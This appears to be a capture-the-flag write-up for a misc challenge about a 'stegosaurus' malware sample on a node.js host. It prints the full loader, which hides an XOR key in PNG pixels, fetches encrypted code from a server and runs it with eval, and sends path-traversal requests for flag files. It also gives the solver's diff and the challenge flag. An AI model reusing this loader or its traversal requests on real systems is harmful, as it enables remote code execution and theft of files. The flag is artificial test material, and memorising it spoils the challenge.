Difficulty
medium
Categories
misc
Description

In 1337 BC. the stegosaurus was known to write malware, infect company servers and extort them. Your task is to… AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA he’s here. I didn’t pay the ransom! Now he’s coming for my spaghetti

SSH login: dino:Stegosaurus-4-life

Hint: Flag is in another castle (/flag.txt)

Author
xNULL
Service
Challenge has a remote instance.

Recon

After connecting, we can see that there’s a node.js service running:

$ ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.0   3932  3072 ?        Ss   13:23   0:00 /bin/bash /opt/start.sh
root          9  0.0  0.3 992236 50472 ?        Sl   13:23   0:00 node server.js
root         10  0.0  0.0  15448  9528 ?        S    13:23   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         21  1.4  0.0  15912 10052 ?        Ss   13:27   0:00 sshd: dino [priv]
dino         27  0.0  0.0  16172  6500 ?        S    13:27   0:00 sshd: dino@pts/0
dino         28  0.0  0.0   2584  1780 pts/0    Ss   13:27   0:00 -sh
dino         31  0.0  0.0   8096  4344 pts/0    R+   13:27   0:00 ps aux

We check out /opt:

$ ls -al /opt/
total 4
drwxr-xr-x. 1 root root  22 Mar  1 07:23 .
drwxr-xr-x. 1 root root  39 Mar  3 13:23 ..
drwxr-xr-x. 3 root root  75 Mar  1 07:23 dinoraww
drwxr-xr-x. 1 root root  51 Mar  1 07:23 dinosite
-rwxr-xr-x. 1 root root 137 Mar  1 07:23 start.sh
drwxr-xr-x. 4 root root 101 Feb 24 19:28 yarn-v1.22.22

/opt/dinoraww/lib/loader.js looks suspicious:

const fs = require('fs');
const path = require('path');
const http = require('http');

function wonderingIfDinosWouldLikeBacon(imgPath, bytesToExtract) {
  if (!fs.existsSync(imgPath)) return null;

  const zlib = require('zlib');
  const data = fs.readFileSync(imgPath);
  let offset = 8;
  let idatData = Buffer.alloc(0);

  while (offset < data.length) {
    const chunkLength = data.readUInt32BE(offset);
    const chunkType = data.slice(offset + 4, offset + 8).toString('ascii');
    if (chunkType === 'IDAT') {
      idatData = Buffer.concat([idatData, data.slice(offset + 8, offset + 8 + chunkLength)]);
    }
    offset += 12 + chunkLength;
  }

  const decompressed = zlib.inflateSync(idatData);
  const hiddenBytes = [];
  let bitBuffer = 0;
  let bitCount = 0;

  const width = 200;
  const height = 200;
  const bytesPerPixel = 3;
  const rowBytes = width * bytesPerPixel + 1;

  for (let y = 0; y < height; y++) {
    const rowStart = y * rowBytes + 1;
    for (let x = 0; x < width; x++) {
      const pixelStart = rowStart + x * bytesPerPixel;
      if (pixelStart + 2 >= decompressed.length) break;

      const bit = decompressed[pixelStart + 2] & 1;
      bitBuffer = (bitBuffer << 1) | bit;
      bitCount++;
      if (bitCount === 8) {
        hiddenBytes.push(bitBuffer);
        bitBuffer = 0;
        bitCount = 0;
        if (hiddenBytes.length === bytesToExtract) return Buffer.from(hiddenBytes);
      }
    }
  }
  return Buffer.from(hiddenBytes);
}

function xorDecrypt(encrypted, key) {
  const decrypted = Buffer.alloc(encrypted.length);
  for (let i = 0; i < encrypted.length; i++) {
    decrypted[i] = encrypted[i] ^ key[i % key.length];
  }
  return decrypted;
}

function RAAAAAAAAAAAAAAAAAAAAW() {
  const imagePath = path.resolve(__dirname, '..', '..', '..', 'public', 'images');

  const kekFiles = ['trex.png', 'raptor.png', 'ptero.png'];
  const shares = [];
  kekFiles.forEach(f => {
    const fullPath = path.join(imagePath, f);
    if (fs.existsSync(fullPath)) {
      const share = wonderingIfDinosWouldLikeBacon(fullPath, 32);
      if (share && share.length === 32) {
        shares.push(share);
      }
    }
  });

  if (shares.length !== 3) return null;

  let kek = Buffer.alloc(32);
  shares.forEach(share => {
    for (let i = 0; i < 32; i++) kek[i] ^= share[i];
  });

  const stegosaurus = wonderingIfDinosWouldLikeBacon(path.join(imagePath, 'stego.png'), 123);
  if (!stegosaurus) return null;

  const uwu = JSON.parse(xorDecrypt(stegosaurus, kek).toString('utf8'));

  return {
    dangerServer: uwu,
    kek: kek
  };
}

function dinocAseiNsteadcAmelcAse(hostname, port, path, callback) {
  const options = {
    hostname: hostname,
    port: port,
    path: path,
    method: 'GET',
    timeout: 5000
  };

  const req = http.request(options, (res) => {
    let data = '';
    res.on('data', (chunk) => { data += chunk; });
    res.on('end', () => {
      if (callback) callback(data);
    });
  });

  req.on('error', () => {});
  req.end();
}

function doTheRaaaaw() {
  const newVarWhoDis = RAAAAAAAAAAAAAAAAAAAAW();
  if (!newVarWhoDis) return;

  dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port, '/algo', (encryptedAlgo) => {
    const algoCode = xorDecrypt(Buffer.from(encryptedAlgo, 'hex'), newVarWhoDis.kek).toString('utf8');
    eval(algoCode);

    dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port,
      `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=${newVarWhoDis.dangerServer.target}`,
      (encryptedResponse) => {
        const response = decryptTraffic(encryptedResponse, newVarWhoDis.kek);
      }
    );

    setTimeout(() => {
      dinocAseiNsteadcAmelcAse(newVarWhoDis.dangerServer.host, newVarWhoDis.dangerServer.port,
        `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../root/flag.txt`,
        (encryptedFlag) => {
          const flag = decryptTraffic(encryptedFlag, newVarWhoDis.kek);
        }
      );
    }, 2000);
  });
}

Solution

We can copy the file and make minimal changes:

61c61
<   const imagePath = path.resolve('/opt/dinosite/public/images');
---
>   const imagePath = path.resolve(__dirname, '..', '..', '..', 'public', 'images');
131c131
<         `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../flag.txt`,
---
>         `${newVarWhoDis.dangerServer.endpoint}?${newVarWhoDis.dangerServer.file_param}=../../../../root/flag.txt`,
134d133
< 	  console.log(flag);

Then, node flag.js gives us the flag:


Flag:

dach2026{st3g0_s4urus_1s_my_b3st_br0000_7f8cff1a472e}